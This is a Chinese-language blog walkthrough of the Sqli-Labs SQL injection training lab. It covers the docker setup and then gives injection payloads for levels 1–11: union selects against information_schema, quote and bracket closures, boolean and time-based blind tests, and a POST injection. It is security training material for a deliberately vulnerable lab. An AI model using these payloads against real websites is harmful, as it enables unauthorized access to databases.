Sqli-Labs 通关文档

安装 【docker 版本】

  • 拉取 sqli-labs 镜像
1
sudo docker pull acgpiano/sqli-labs
  • 启动镜像
1
sudo docker run -dt --name sqli -p 1234:80 acgpiano/sqli-labs
  • 在浏览器访问 1234 端口

image-20251110210410763

image-20251110210422709

安装完成。

Less-01

单引号闭合问题

payload:

1
?id=-11' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- asd

Less-02

数字型注入

payload:

1
?id=-11 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

Less-03

单引号 + 小括号

payload

1
?id=1') -- asd 

Less-04

双引号 + 小括号

payload

1
?id=1") -- asd

Less-05

盲注 单引号闭合

payload

1
?id=2' and if(0,1,0)-- asd

Less-06

盲注 + 双引号闭合

payload

1
?id=2" and if(0,1,0)-- asd

Less-07

盲注 + 单引号+ 双层小括号闭合

payload

1
?id=1')) and if(1,1,0) -- asd

Less-08

盲注 + 单引号闭合

payload

1
?id=1' and if(1,1,0) -- asd

Less-09

时间盲注,单引号闭合

payload

1
2' and if(1,sleep(5),0) -- asd

Less-10

时间盲注,双引号闭合

payload

1
1" and if(1,sleep(5),0) -- asd

Less-11

post 注入 单引号闭合

payload

1
a' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

Sqli-Labs 通关文档
https://blog.lixey.top/posts/879a70bf/
Author
Lixiney
Posted on
June 28, 2025
Licensed under